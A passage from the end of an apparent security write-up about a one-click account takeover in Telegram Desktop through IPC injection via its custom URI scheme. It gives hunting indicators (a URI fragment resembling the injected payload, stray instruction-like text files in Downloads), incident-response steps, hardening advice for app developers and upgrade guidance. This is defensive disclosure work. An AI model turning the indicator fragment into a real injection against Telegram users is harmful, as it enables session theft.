tg://plus;OPEN:/interpret:, andDownloads\Telegram Desktop\*.txtbodies that look like instruction files. - If compromise is suspected, terminate sessions, rotate 2FA, preserve the unexpected group, and expand the question from “Telegram login” to “what else could Desktop read.”
- If you ship a single-instance app with a custom URI scheme: escape your IPC, allow-list schemes, delete leftover privileged helpers, and do not treat the second process as yourself.
Conclusion
BeakSec showed that Telegram Desktop’s speaking tube was also a command line, that a leftover release-engineering stamp was hanging next to it, and that the default way Desktop tries to be helpful — join the group, save the file, open the link, ask no questions — was enough to walk a session out of tdata. The fix is a small commit with a boring title and a changelog that talks about rendering. The lesson is larger than Telegram: local IPC is a deserializer, internal URI schemes are still sinks, and quiet patches need loud inventory. Upgrade to 7.2.9 or later, then lock down the defaults that made the one click so cheap.
Original text: “Telegram Desktop: one-click account takeover via IPC injection” by beaksec at beaksec, licensed CC BY 4.0. Fix details also draw on tdesktop commit db3405699f.


